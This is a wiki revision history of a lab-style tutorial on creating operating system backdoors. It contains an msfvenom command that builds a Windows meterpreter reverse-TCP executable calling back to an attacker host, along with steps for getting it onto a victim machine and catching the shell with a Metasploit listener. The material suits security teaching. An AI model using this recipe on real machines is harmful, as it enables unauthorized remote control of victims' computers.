OS backdoors - Revision history

NKirnbauer: expired link changed with link from wayback machine

2024-09-25T08:24:33Z

expired link changed with link from wayback machine

← Older revision		Revision as of 08:24, 25 September 2024
Line 25:		Line 25:

	== References ==		== References ==
	https://netsec.ws/?p=331		http://web.archive.org/web/20210728235920/https://netsec.ws/?p=331

	https://sushant747.gitbooks.io/total-oscp-guide/content/getting_meterpreter_shell.html		https://sushant747.gitbooks.io/total-oscp-guide/content/getting_meterpreter_shell.html

	[[Category:Documentation]]		[[Category:Documentation]]

NMalenovic at 11:13, 5 January 2022

2022-01-05T11:13:20Z

← Older revision		Revision as of 11:13, 5 January 2022
Line 17:		Line 17:

	4. After the victim has executed the file, the following will appear:		4. After the victim has executed the file, the following will appear:

	[[File:3.png]]		[[File:3.png]]

NMalenovic at 14:45, 16 December 2021

2021-12-16T14:45:53Z

← Older revision		Revision as of 14:45, 16 December 2021
Line 20:		Line 20:

	5. Now the attacker has complete access to the victim machine and can start exploiting it. A very trivial example can be seen in the following figure. Here, the basic calculator program is started and subsequently a screenshot is taken:		5. Now the attacker has complete access to the victim machine and can start exploiting it. A very trivial example can be seen in the following figure. Here, the basic calculator program is started and subsequently a screenshot is taken:

	[[File:4.png]]		[[File:4.png]]

NMalenovic at 14:44, 16 December 2021

2021-12-16T14:44:51Z

← Older revision		Revision as of 14:44, 16 December 2021
Line 19:		Line 19:
	[[File:3.png]]		[[File:3.png]]

	5. Now the attacker has complete access to the victim machine and can start exploiting it. A very trivial example can be seen in the following figure:		5. Now the attacker has complete access to the victim machine and can start exploiting it. A very trivial example can be seen in the following figure. Here, the basic calculator program is started and subsequently a screenshot is taken:
	[[File:4.png]]		[[File:4.png]]

NMalenovic at 14:34, 16 December 2021

2021-12-16T14:34:32Z

← Older revision		Revision as of 14:34, 16 December 2021
Line 26:		Line 26:

	https://sushant747.gitbooks.io/total-oscp-guide/content/getting_meterpreter_shell.html		https://sushant747.gitbooks.io/total-oscp-guide/content/getting_meterpreter_shell.html

			[[Category:Documentation]]

NMalenovic: Created page with "== Summary == This documentation describes how operating system backdoors can be created using the MSFvenom framework and what the attacker can do once he/she gains access to..."

2021-12-16T13:46:57Z

Created page with "== Summary == This documentation describes how operating system backdoors can be created using the MSFvenom framework and what the attacker can do once he/she gains access to..."

New page

== Summary ==
This documentation describes how operating system backdoors can be created using the MSFvenom framework and what the attacker can do once he/she gains access to the victim machine. This particular attack takes advantage of the fact that the Windows 7 firewall by design only inspects the incoming traffic while the outgoing traffic is pretty much ignored. With this in mind one can create a reverse TCP payload, open a particular port and let the victim connect to that open port.
== Introduction ==
MSFvenom is an easily manageable framework that can be used to quickly create Metasploit payloads.
== Requirements ==
Devices: 2 devices --> 1 running Kali Linux (attacker) and 1 running Windows 7 (victim)

== Exploit ==
1. On Kali Linux we will open up a new shell and create a reverse TCP payload with the help of MSFvenom in one single line:
'''msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.134 LPORT=6565 -f exe -o backdoor.exe.'''
With '''-p''' we specify which type of payload we want to create, '''LHOST''' and '''LPORT''' are basically the IP address and the port that we will open for our victim to connect to. '''-f exe''' specifies that the created payload is an executable file and '''-o''' specifies the name under which the file should be saved.

2. The next step is the hardest challenge and that would be to transfer the backdoor to the victim machine. This can be done in many ways (most often it is done by different social engineering toolkits) but for the sake of simplicity, you can use a USB.

3. Before executing the backdoor file on the victim machine, we need to setup a listener that will listen for connections on a particular port. We will use metasploit to create the listener just like on the photo below:
[[File:1.png]]

4. After the victim has executed the file, the following will appear:
[[File:3.png]]

5. Now the attacker has complete access to the victim machine and can start exploiting it. A very trivial example can be seen in the following figure:
[[File:4.png]]

== References ==
https://netsec.ws/?p=331

https://sushant747.gitbooks.io/total-oscp-guide/content/getting_meterpreter_shell.html